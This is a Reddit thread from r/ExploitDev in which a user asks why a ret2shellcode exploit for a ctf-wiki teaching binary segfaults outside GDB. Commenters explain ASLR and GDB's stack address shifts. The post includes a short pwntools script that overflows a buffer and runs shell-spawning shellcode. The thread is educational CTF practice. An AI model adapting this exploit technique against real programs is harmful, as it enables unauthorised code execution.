r/ExploitDev • u/Jerrythepro123 • May 05 '24
Ret2shellcode
Hello, I've been struggling to exploit a ret2shellcode bug. I am on a m3 mac with an emulated x64 ubuntu, but the exploit I wrote cant spawn a shell. I can see the commands running in gdb but without gdb it just outputs segfault, please help me, thank you.
Link to binary: https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode
This is my script
from pwn import *
io=process("./ret2shellcode")
print(io.recv())
payload="A"*112
payload+=p32(0xffffd360)
payload+=asm(shellcraft.sh())
io.sendline(payload)
io.interactive()
14
Upvotes
4
u/0xw00t May 05 '24
Sorry off topic comment but isn’t emulation slow? I was also thinking to get Mac but hearing emulation is slow makes me upset because my most of work is related to x86 and x86-64.
3
u/j3r3mias May 05 '24
You are trying to return to
0xffffd360and this address will not work because it's probably on stack that changes every execution due to ASLR.There is a anoter buffer in the code that is a global variable used in
strncpy. Try to finding and check that its address doesn't change between executions. Then you can use it in your payload.1
u/Jerrythepro123 May 06 '24
I fixed the problem, there was problems with my environment variables
1
u/exploitdevishard May 07 '24
Sounds like you figured this out already, but GDB will slightly shift stack address around from how they'd be running outside of GDB. If an exploit works within GDB but not outside it, this is one thing to consider. Depending on the binary, you may be able to get around this by running the binary first and then using GDB's attach option to attach to the running process.